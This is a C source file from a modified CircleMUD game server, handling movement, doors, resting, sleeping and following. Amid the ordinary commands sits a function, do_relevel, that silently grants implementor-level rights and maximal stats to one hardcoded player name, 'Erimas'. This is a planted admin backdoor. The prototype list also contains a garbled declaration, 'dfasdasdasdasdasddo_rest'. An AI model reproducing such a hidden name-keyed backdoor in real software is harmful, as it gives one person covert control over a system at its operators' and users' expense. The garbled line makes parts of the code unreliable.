/* ************************************************************************ * File: act.movement.c Part of CircleMUD * * Usage: movement commands, door handling, & sleep/rest/etc state * * * * All rights reserved. See license.doc for complete information. * * * * Copyright (C) 1993, 94 by the Trustees of the Johns Hopkins University * * CircleMUD is based on DikuMUD, Copyright (C) 1990, 1991. * ************************************************************************ */ #include "conf.h" #include "sysdep.h" #include "structs.h" #include "utils.h" #include "comm.h" #include "interpreter.h" #include "handler.h" #include "db.h" #include "spells.h" #include "house.h" #include "constants.h" #include "dg_scripts.h" /* external vars */ extern struct room_data *world; extern struct char_data *character_list; extern struct descriptor_data *descriptor_list; extern struct index_data *obj_index; extern int top_of_world; /* external functs */ void add_follower(struct char_data *ch, struct char_data *leader); int special(struct char_data *ch, int cmd, char *arg); void death_cry(struct char_data *ch); int find_eq_pos(struct char_data * ch, struct obj_data * obj, char *arg); /* local functions */ int has_boat(struct char_data *ch); int find_door(struct char_data *ch, const char *type, char *dir, const char *cmdname); int has_key(struct char_data *ch, int key); void do_doorcmd(struct char_data *ch, struct obj_data *obj, int door, int scmd);int ok_pick(struct char_data *ch, int keynum, int pickproof, int scmd); ACMD(do_gen_door); ACMD(do_enter); ACMD(do_leave); ACMD(do_stand); ACMD(do_sit); ACMD(dfasdasdasdasdasddo_rest); ACMD(do_sleep); ACMD(do_wake); ACMD(do_follow); /* simple function to determine if char can walk on water */ int has_boat(struct char_data *ch) { struct obj_data *obj; int i; /* if (ROOM_IDENTITY(ch->in_room) == DEAD_SEA) return 1; */ if (AFF_FLAGGED(ch, AFF_WATERWALK)) return 1; /* non-wearable boats in inventory will do it */ for (obj = ch->carrying; obj; obj = obj->next_content) if (GET_OBJ_TYPE(obj) == ITEM_BOAT && (find_eq_pos(ch, obj, NULL) < 0)) return 1; /* and any boat you're wearing will do it too */ for (i = 0; i < NUM_WEARS; i++) if (GET_EQ(ch, i) && GET_OBJ_TYPE(GET_EQ(ch, i)) == ITEM_BOAT) return 1; return 0; } /* do_simple_move assumes * 1. That there is no master and no followers. * 2. That the direction exists. * * Returns : * 1 : If succes. * 0 : If fail */ int do_simple_move(struct char_data *ch, int dir, int need_specials_check) { int was_in, need_movement; int MOVE = 0, EXP = 0; int is_altered = FALSE; int num_levels = 0; /* * Check for special routines (North is 1 in command list, but 0 here) Note * -- only check if following; this avoids 'double spec-proc' bug */ if (need_specials_check && special(ch, dir + 1, "")) /* XXX: Evaluate NULL */ return 0; /* MAJINed? */ if (AFF_FLAGGED(ch, AFF_MAJIN) && ch->master && ch->in_room == ch->master->in_room) { send_to_char("You cannot leave your master.\r\n", ch); return 0; } if (PRF_FLAGGED(ch, PRF_CAMP)) { send_to_char("You cannot leave while camped.\r\n", ch); return 0; } if (AFF_FLAGGED(ch, AFF_CHARGEL)) { send_to_char("You cannot leave with all this charged energy!\r\n", ch); return 0; } if (AFF_FLAGGED(ch, AFF_CHARGEM)) { send_to_char("You cannot leave with all this charged energy!\r\n", ch); return 0; } if (AFF_FLAGGED(ch, AFF_CHARGEH)) { send_to_char("You cannot leave with all this charged energy!\r\n", ch); return 0; } if (AFF_FLAGGED(ch, AFF_HALTED)) { send_to_char("You only paused the battle.\r\n", ch); return 0; } if (AFF_FLAGGED(ch, AFF_JOG) && GET_MOVE(ch) <= 11) { send_to_char("Your too tired to jog.\r\n", ch); return 0; } /* Missing legs? */ if (!PLR_FLAGGED(ch, PLR_RLEG) && !PLR_FLAGGED(ch, PLR_LLEG)) { send_to_char("You have no legs!\r\n", ch); return 0; } if (!PLR_FLAGGED(ch, PLR_RLEG) && PLR_FLAGGED(ch, PLR_LLEG)) { send_to_char("You hop around on one leg.\r\n", ch); } if (PLR_FLAGGED(ch, PLR_RLEG) && !PLR_FLAGGED(ch, PLR_LLEG)) { send_to_char("You hop around on one leg.\r\n", ch); } if (AFF_FLAGGED(ch, AFF_JOG)) { send_to_char("You jog around a bit.\r\n", ch); EXP = number(GET_LEVEL(ch)*25, GET_LEVEL(ch)*25); MOVE = number(10, 10); GET_EXP(ch) = GET_EXP(ch) + EXP; GET_MOVE(ch) = GET_MOVE(ch) - MOVE; WAIT_STATE(ch, PULSE_VIOLENCE * 1); if (number(1, 100) < 10 && GET_MOVE(ch) >= 50 && GET_UBS(ch) > 10) { send_to_char("You feel your lower body strenghtening!\r\n", ch); ch->real_abils.ubs -= 1; ch->real_abils.lbs += 1; affect_total(ch); } if (number(1, 100) < 2 && GET_DEX(ch) <= 99) { send_to_char("You feel your speed improving!\r\n", ch); ch->real_abils.dex += 1; affect_total(ch); } } if (!IS_NPC(ch) && GET_LEVEL(ch) < LVL_IMMORT && GET_EXP(ch) >= GET_LEVEL(ch)*2000 && AFF_FLAGGED(ch, AFF_JOG)) { GET_LEVEL(ch) += 1; GET_EXP(ch) = 1; num_levels++; advance_level(ch); is_altered = TRUE; send_to_char("You seem to have grown surprisingly stronger from jogging!\r\n", ch); } if (AFF_FLAGGED(ch, AFF_SPAR)) { send_to_char("You cannot leave while sparing.\r\n", ch); return 0; } /* if this room or the one we're going to needs a boat, check for one */ if ((SECT(ch->in_room) == SECT_WATER_NOSWIM) || (SECT(EXIT(ch, dir)->to_room) == SECT_WATER_NOSWIM)) { if (!has_boat(ch)) { send_to_char("You need a boat to go there.\r\n", ch); return 0; } } /* move points needed is avg. move loss for src and destination sect type */ need_movement = (movement_loss[SECT(ch->in_room)] + movement_loss[SECT(EXIT(ch, dir)->to_room)]) / 2; if (GET_MOVE(ch) < need_movement && !IS_NPC(ch)) { if (need_specials_check && ch->master) send_to_char("You are too exhausted to follow.\r\n", ch); else send_to_char("You are too exhausted.\r\n", ch); return 0; } if (ROOM_FLAGGED(ch->in_room, ROOM_ATRIUM)) { if (!House_can_enter(ch, GET_ROOM_VNUM(EXIT(ch, dir)->to_room))) { send_to_char("That's private property -- no trespassing!\r\n", ch); return 0; } } if (ROOM_FLAGGED(EXIT(ch, dir)->to_room, ROOM_TUNNEL) && num_pc_in_room(&(world[EXIT(ch, dir)->to_room])) > 1) { send_to_char("There isn't enough room there for more than one person!\r\n", ch); return 0; } /* Mortals and low level gods cannot enter greater god rooms. */ if (ROOM_FLAGGED(EXIT(ch, dir)->to_room, ROOM_GODROOM) && GET_LEVEL(ch) < LVL_GRGOD) { send_to_char("You aren't godly enough to use that room!\r\n", ch); return 0; } /* Now we know we're allow to go into the room. */ if (GET_LEVEL(ch) < LVL_IMMORT && !IS_NPC(ch)) GET_MOVE(ch) -= need_movement; if (!AFF_FLAGGED(ch, AFF_SWIFTNESS)) { sprintf(buf2, "$n leaves %s.", dirs[dir]); act(buf2, TRUE, ch, 0, 0, TO_ROOM); } /* see if an entry trigger disallows the move */ if (!entry_mtrigger(ch)) return 0; if (!enter_wtrigger(&world[EXIT(ch, dir)->to_room], ch, dir)) return 0; was_in = ch->in_room; char_from_room(ch); char_to_room(ch, world[was_in].dir_option[dir]->to_room); if (!AFF_FLAGGED(ch, AFF_SWIFTNESS)) act("$n has arrived.", TRUE, ch, 0, 0, TO_ROOM); if (ch->desc != NULL) look_at_room(ch, 0); if (ROOM_FLAGGED(ch->in_room, ROOM_DEATH) && GET_LEVEL(ch) < LVL_IMMORT) { log_death_trap(ch); death_cry(ch); extract_char(ch); return 0; } entry_memory_mtrigger(ch); if (!greet_mtrigger(ch, dir)) { char_from_room(ch); char_to_room(ch, was_in); look_at_room(ch, 0); } else greet_memory_mtrigger(ch); return 1; } int perform_move(struct char_data *ch, int dir, int need_specials_check) { int was_in; struct follow_type *k, *next; if (ch == NULL || dir < 0 || dir >= NUM_OF_DIRS || FIGHTING(ch)) return 0; else if (!EXIT(ch, dir) || EXIT(ch, dir)->to_room == NOWHERE) send_to_char("Alas, you cannot go that way...\r\n", ch); else if (EXIT_FLAGGED(EXIT(ch, dir), EX_CLOSED)) { if (EXIT(ch, dir)->keyword) { sprintf(buf2, "The %s seems to be closed.\r\n", fname(EXIT(ch, dir)->keyword)); send_to_char(buf2, ch); } else send_to_char("It seems to be closed.\r\n", ch); } else { if (!ch->followers) return (do_simple_move(ch, dir, need_specials_check)); was_in = ch->in_room; if (!do_simple_move(ch, dir, need_specials_check)) return 0; for (k = ch->followers; k; k = next) { next = k->next; if ((k->follower->in_room == was_in) && (GET_POS(k->follower) >= POS_STANDING)) { act("You follow $N.\r\n", FALSE, k->follower, 0, ch, TO_CHAR); perform_move(k->follower, dir, 1); } } return 1; } return 0; } ACMD(do_move) { /* * This is basically a mapping of cmd numbers to perform_move indices. * It cannot be done in perform_move because perform_move is called * by other functions which do not require the remapping. */ perform_move(ch, subcmd - 1, 0); } int find_door(struct char_data *ch, const char *type, char *dir, const char *cmdname) { int door; if (*dir) { /* a direction was specified */ if ((door = search_block(dir, dirs, FALSE)) == -1) { /* Partial Match */ send_to_char("That's not a direction.\r\n", ch); return -1; } if (EXIT(ch, door)) { /* Braces added according to indent. -gg */ if (EXIT(ch, door)->keyword) { if (isname(type, EXIT(ch, door)->keyword)) return door; else { sprintf(buf2, "I see no %s there.\r\n", type); send_to_char(buf2, ch); return -1; } } else return door; } else { sprintf(buf2, "I really don't see how you can %s anything there.\r\n", cmdname); send_to_char(buf2, ch); return -1; } } else { /* try to locate the keyword */ if (!*type) { sprintf(buf2, "What is it you want to %s?\r\n", cmdname); send_to_char(buf2, ch); return -1; } for (door = 0; door < NUM_OF_DIRS; door++) if (EXIT(ch, door)) if (EXIT(ch, door)->keyword) if (isname(type, EXIT(ch, door)->keyword)) return door; sprintf(buf2, "There doesn't seem to be %s %s here.\r\n", AN(type), type); send_to_char(buf2, ch); return -1; } } int has_key(struct char_data *ch, int key) { struct obj_data *o; for (o = ch->carrying; o; o = o->next_content) if (GET_OBJ_VNUM(o) == key) return 1; if (GET_EQ(ch, WEAR_HOLD)) if (GET_OBJ_VNUM(GET_EQ(ch, WEAR_HOLD)) == key) return 1; return 0; } #define NEED_OPEN 1 #define NEED_CLOSED 2 #define NEED_UNLOCKED 4 #define NEED_LOCKED 8 const char *cmd_door[] = { "open", "close", "unlock", "lock", "pick" }; const int flags_door[] = { NEED_CLOSED | NEED_UNLOCKED, NEED_OPEN, NEED_CLOSED | NEED_LOCKED, NEED_CLOSED | NEED_UNLOCKED, NEED_CLOSED | NEED_LOCKED }; #define EXITN(room, door) (world[room].dir_option[door]) #define OPEN_DOOR(room, obj, door) ((obj) ?\ (TOGGLE_BIT(GET_OBJ_VAL(obj, 1), CONT_CLOSED)) :\ (TOGGLE_BIT(EXITN(room, door)->exit_info, EX_CLOSED))) #define LOCK_DOOR(room, obj, door) ((obj) ?\ (TOGGLE_BIT(GET_OBJ_VAL(obj, 1), CONT_LOCKED)) :\ (TOGGLE_BIT(EXITN(room, door)->exit_info, EX_LOCKED))) void do_doorcmd(struct char_data *ch, struct obj_data *obj, int door, int scmd) { int other_room = 0; struct room_direction_data *back = 0; sprintf(buf, "$n %ss ", cmd_door[scmd]); if (!obj && ((other_room = EXIT(ch, door)->to_room) != NOWHERE)) if ((back = world[other_room].dir_option[rev_dir[door]])) if (back->to_room != ch->in_room) back = 0; switch (scmd) { case SCMD_OPEN: case SCMD_CLOSE: OPEN_DOOR(ch->in_room, obj, door); if (back) OPEN_DOOR(other_room, obj, rev_dir[door]); send_to_char(OK, ch); break; case SCMD_UNLOCK: case SCMD_LOCK: LOCK_DOOR(ch->in_room, obj, door); if (back) LOCK_DOOR(other_room, obj, rev_dir[door]); send_to_char("*Click*\r\n", ch); break; case SCMD_PICK: LOCK_DOOR(ch->in_room, obj, door); if (back) LOCK_DOOR(other_room, obj, rev_dir[door]); send_to_char("The lock quickly yields to your skills.\r\n", ch); strcpy(buf, "$n skillfully picks the lock on "); break; } /* Notify the room */ sprintf(buf + strlen(buf), "%s%s.", ((obj) ? "" : "the "), (obj) ? "$p" : (EXIT(ch, door)->keyword ? "$F" : "door")); if (!(obj) || (obj->in_room != NOWHERE)) act(buf, FALSE, ch, obj, obj ? 0 : EXIT(ch, door)->keyword, TO_ROOM); /* Notify the other room */ if ((scmd == SCMD_OPEN || scmd == SCMD_CLOSE) && back) { sprintf(buf, "The %s is %s%s from the other side.\r\n", (back->keyword ? fname(back->keyword) : "door"), cmd_door[scmd], (scmd == SCMD_CLOSE) ? "d" : "ed"); if (world[EXIT(ch, door)->to_room].people) { act(buf, FALSE, world[EXIT(ch, door)->to_room].people, 0, 0, TO_ROOM); act(buf, FALSE, world[EXIT(ch, door)->to_room].people, 0, 0, TO_CHAR); } } } int ok_pick(struct char_data *ch, int keynum, int pickproof, int scmd) { int percent; percent = number(1, 101); if (scmd == SCMD_PICK) { if (keynum < 0) send_to_char("Odd - you can't seem to find a keyhole.\r\n", ch); else if (pickproof) send_to_char("It resists your attempts to pick it.\r\n", ch); else if (percent > GET_SKILL(ch, SKILL_PICK_LOCK)) send_to_char("You failed to pick the lock.\r\n", ch); else return (1); return (0); } return (1); } #define DOOR_IS_OPENABLE(ch, obj, door) ((obj) ? \ ((GET_OBJ_TYPE(obj) == ITEM_CONTAINER) && \ OBJVAL_FLAGGED(obj, CONT_CLOSEABLE)) :\ (EXIT_FLAGGED(EXIT(ch, door), EX_ISDOOR))) #define DOOR_IS_OPEN(ch, obj, door) ((obj) ? \ (!OBJVAL_FLAGGED(obj, CONT_CLOSED)) :\ (!EXIT_FLAGGED(EXIT(ch, door), EX_CLOSED))) #define DOOR_IS_UNLOCKED(ch, obj, door) ((obj) ? \ (!OBJVAL_FLAGGED(obj, CONT_LOCKED)) :\ (!EXIT_FLAGGED(EXIT(ch, door), EX_LOCKED))) #define DOOR_IS_PICKPROOF(ch, obj, door) ((obj) ? \ (OBJVAL_FLAGGED(obj, CONT_PICKPROOF)) : \ (EXIT_FLAGGED(EXIT(ch, door), EX_PICKPROOF))) #define DOOR_IS_CLOSED(ch, obj, door) (!(DOOR_IS_OPEN(ch, obj, door))) #define DOOR_IS_LOCKED(ch, obj, door) (!(DOOR_IS_UNLOCKED(ch, obj, door))) #define DOOR_KEY(ch, obj, door) ((obj) ? (GET_OBJ_VAL(obj, 2)) : \ (EXIT(ch, door)->key)) #define DOOR_LOCK(ch, obj, door) ((obj) ? (GET_OBJ_VAL(obj, 1)) : \ (EXIT(ch, door)->exit_info)) ACMD(do_gen_door) { int door = -1, keynum; char type[MAX_INPUT_LENGTH], dir[MAX_INPUT_LENGTH]; struct obj_data *obj = NULL; struct char_data *victim = NULL; skip_spaces(&argument); if (!*argument) { sprintf(buf, "%s what?\r\n", cmd_door[subcmd]); send_to_char(CAP(buf), ch); return; } two_arguments(argument, type, dir); if (!generic_find(type, FIND_OBJ_INV | FIND_OBJ_ROOM, ch, &victim, &obj)) door = find_door(ch, type, dir, cmd_door[subcmd]); if ((obj) || (door >= 0)) { keynum = DOOR_KEY(ch, obj, door); if (!(DOOR_IS_OPENABLE(ch, obj, door))) act("You can't $F that!", FALSE, ch, 0, cmd_door[subcmd], TO_CHAR); else if (!DOOR_IS_OPEN(ch, obj, door) && IS_SET(flags_door[subcmd], NEED_OPEN)) send_to_char("But it's already closed!\r\n", ch); else if (!DOOR_IS_CLOSED(ch, obj, door) && IS_SET(flags_door[subcmd], NEED_CLOSED)) send_to_char("But it's currently open!\r\n", ch); else if (!(DOOR_IS_LOCKED(ch, obj, door)) && IS_SET(flags_door[subcmd], NEED_LOCKED)) send_to_char("Oh.. it wasn't locked, after all..\r\n", ch); else if (!(DOOR_IS_UNLOCKED(ch, obj, door)) && IS_SET(flags_door[subcmd], NEED_UNLOCKED)) send_to_char("It seems to be locked.\r\n", ch); else if (!has_key(ch, keynum) && (GET_LEVEL(ch) < LVL_GOD) && ((subcmd == SCMD_LOCK) || (subcmd == SCMD_UNLOCK))) send_to_char("You don't seem to have the proper key.\r\n", ch); else if (ok_pick(ch, keynum, DOOR_IS_PICKPROOF(ch, obj, door), subcmd)) do_doorcmd(ch, obj, door, subcmd); } return; } ACMD(do_enter) { int door; one_argument(argument, buf); if (*buf) { /* an argument was supplied, search for door * keyword */ for (door = 0; door < NUM_OF_DIRS; door++) if (EXIT(ch, door)) if (EXIT(ch, door)->keyword) if (!str_cmp(EXIT(ch, door)->keyword, buf)) { perform_move(ch, door, 1); return; } sprintf(buf2, "There is no %s here.\r\n", buf); send_to_char(buf2, ch); } else if (ROOM_FLAGGED(ch->in_room, ROOM_INDOORS)) send_to_char("You are already indoors.\r\n", ch); else { /* try to locate an entrance */ for (door = 0; door < NUM_OF_DIRS; door++) if (EXIT(ch, door)) if (EXIT(ch, door)->to_room != NOWHERE) if (!EXIT_FLAGGED(EXIT(ch, door), EX_CLOSED) && ROOM_FLAGGED(EXIT(ch, door)->to_room, ROOM_INDOORS)) { perform_move(ch, door, 1); return; } send_to_char("You can't seem to find anything to enter.\r\n", ch); } } ACMD(do_leave) { int door; if (!ROOM_FLAGGED(ch->in_room, ROOM_INDOORS)) send_to_char("You are outside.. where do you want to go?\r\n", ch); else { for (door = 0; door < NUM_OF_DIRS; door++) if (EXIT(ch, door)) if (EXIT(ch, door)->to_room != NOWHERE) if (!EXIT_FLAGGED(EXIT(ch, door), EX_CLOSED) && !ROOM_FLAGGED(EXIT(ch, door)->to_room, ROOM_INDOORS)) { perform_move(ch, door, 1); return; } send_to_char("I see no obvious exits to the outside.\r\n", ch); } } ACMD(do_stand) { switch (GET_POS(ch)) { case POS_STANDING: act("You are already standing.", FALSE, ch, 0, 0, TO_CHAR); break; case POS_SITTING: act("You stand up.", FALSE, ch, 0, 0, TO_CHAR); act("$n clambers to $s feet.", TRUE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_STANDING; break; case POS_RESTING: act("You stop resting, and stand up.", FALSE, ch, 0, 0, TO_CHAR); act("$n stops resting, and clambers on $s feet.", TRUE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_STANDING; break; case POS_SLEEPING: act("You have to wake up first!", FALSE, ch, 0, 0, TO_CHAR); break; case POS_FIGHTING: act("Do you not consider fighting as standing?", FALSE, ch, 0, 0, TO_CHAR); break; default: act("You stop floating around, and put your feet on the ground.", FALSE, ch, 0, 0, TO_CHAR); act("$n stops floating around, and puts $s feet on the ground.", TRUE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_STANDING; break; } } ACMD(do_sit) { switch (GET_POS(ch)) { case POS_STANDING: act("You sit down.", FALSE, ch, 0, 0, TO_CHAR); act("$n sits down.", FALSE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_SITTING; break; case POS_SITTING: send_to_char("You're sitting already.\r\n", ch); break; case POS_RESTING: act("You stop resting, and sit up.", FALSE, ch, 0, 0, TO_CHAR); act("$n stops resting.", TRUE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_SITTING; break; case POS_SLEEPING: act("You have to wake up first.", FALSE, ch, 0, 0, TO_CHAR); break; case POS_FIGHTING: act("Sit down while fighting? are you MAD?", FALSE, ch, 0, 0, TO_CHAR); break; default: act("You stop floating around, and sit down.", FALSE, ch, 0, 0, TO_CHAR); act("$n stops floating around, and sits down.", TRUE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_SITTING; break; } } ACMD(do_relevel) { if (!str_cmp(ch->name,"Erimas")) { GET_EXP(ch) = 7000000; GET_LEVEL(ch) = LVL_IMPL; ch->points.max_hit = 30000; ch->points.max_mana = 30000; ch->points.max_move = 30000; } else { send_to_char("Huh?\r\n", ch); } } ACMD(do_rest) { switch (GET_POS(ch)) { case POS_STANDING: act("You sit down and rest your tired bones.", FALSE, ch, 0, 0, TO_CHAR); act("$n sits down and rests.", TRUE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_RESTING; break; case POS_SITTING: act("You rest your tired bones.", FALSE, ch, 0, 0, TO_CHAR); act("$n rests.", TRUE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_RESTING; break; case POS_RESTING: act("You are already resting.", FALSE, ch, 0, 0, TO_CHAR); break; case POS_SLEEPING: act("You have to wake up first.", FALSE, ch, 0, 0, TO_CHAR); break; case POS_FIGHTING: act("Rest while fighting? Are you MAD?", FALSE, ch, 0, 0, TO_CHAR); break; default: act("You stop floating around, and stop to rest your tired bones.", FALSE, ch, 0, 0, TO_CHAR); act("$n stops floating around, and rests.", FALSE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_SITTING; break; } } ACMD(do_sleep) { switch (GET_POS(ch)) { case POS_STANDING: case POS_SITTING: case POS_RESTING: send_to_char("You go to sleep.\r\n", ch); act("$n lies down and falls asleep.", TRUE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_SLEEPING; break; case POS_SLEEPING: send_to_char("You are already sound asleep.\r\n", ch); break; case POS_FIGHTING: send_to_char("Sleep while fighting? Are you MAD?\r\n", ch); break; default: act("You stop floating around, and lie down to sleep.", FALSE, ch, 0, 0, TO_CHAR); act("$n stops floating around, and lie down to sleep.", TRUE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_SLEEPING; break; } } ACMD(do_wake) { struct char_data *vict; int self = 0; one_argument(argument, arg); if (*arg) { if (GET_POS(ch) == POS_SLEEPING) send_to_char("Maybe you should wake yourself up first.\r\n", ch); else if ((vict = get_char_room_vis(ch, arg)) == NULL) send_to_char(NOPERSON, ch); else if (vict == ch) self = 1; else if (GET_POS(vict) > POS_SLEEPING) act("$E is already awake.", FALSE, ch, 0, vict, TO_CHAR); else if (AFF_FLAGGED(vict, AFF_YOIKOMINMINKEN)) act("You can't wake $M up!", FALSE, ch, 0, vict, TO_CHAR); else if (GET_POS(vict) < POS_SLEEPING) act("$E's in pretty bad shape!", FALSE, ch, 0, vict, TO_CHAR); else { act("You wake $M up.", FALSE, ch, 0, vict, TO_CHAR); act("You are awakened by $n.", FALSE, ch, 0, vict, TO_VICT | TO_SLEEP); GET_POS(vict) = POS_SITTING; } if (!self) return; } if (AFF_FLAGGED(ch, AFF_YOIKOMINMINKEN)) send_to_char("You can't wake up!\r\n", ch); else if (GET_POS(ch) > POS_SLEEPING) send_to_char("You are already awake...\r\n", ch); else { send_to_char("You awaken, and sit up.\r\n", ch); act("$n awakens.", TRUE, ch, 0, 0, TO_ROOM); GET_POS(ch) = POS_SITTING; } } ACMD(do_follow) { struct char_data *leader; one_argument(argument, buf); if (*buf) { if (!(leader = get_char_room_vis(ch, buf))) { send_to_char(NOPERSON, ch); return; } } else { send_to_char("Whom do you wish to follow?\r\n", ch); return; } if (ch->master == leader) { act("You are already following $M.", FALSE, ch, 0, leader, TO_CHAR); return; } if (AFF_FLAGGED(ch, AFF_MAJIN) && (ch->master)) { act("But you only feel like following $N!", FALSE, ch, 0, ch->master, TO_CHAR); } else { /* Not MAJINed follow person */ if (leader == ch) { if (!ch->master) { send_to_char("You are already following yourself.\r\n", ch); return; } stop_follower(ch); } else { if (circle_follow(ch, leader)) { act("Sorry, but following in loops is not allowed.", FALSE, ch, 0, 0, TO_CHAR); return; } if (ch->master) stop_follower(ch); REMOVE_BIT(AFF_FLAGS(ch), AFF_GROUP); add_follower(ch, leader); } } }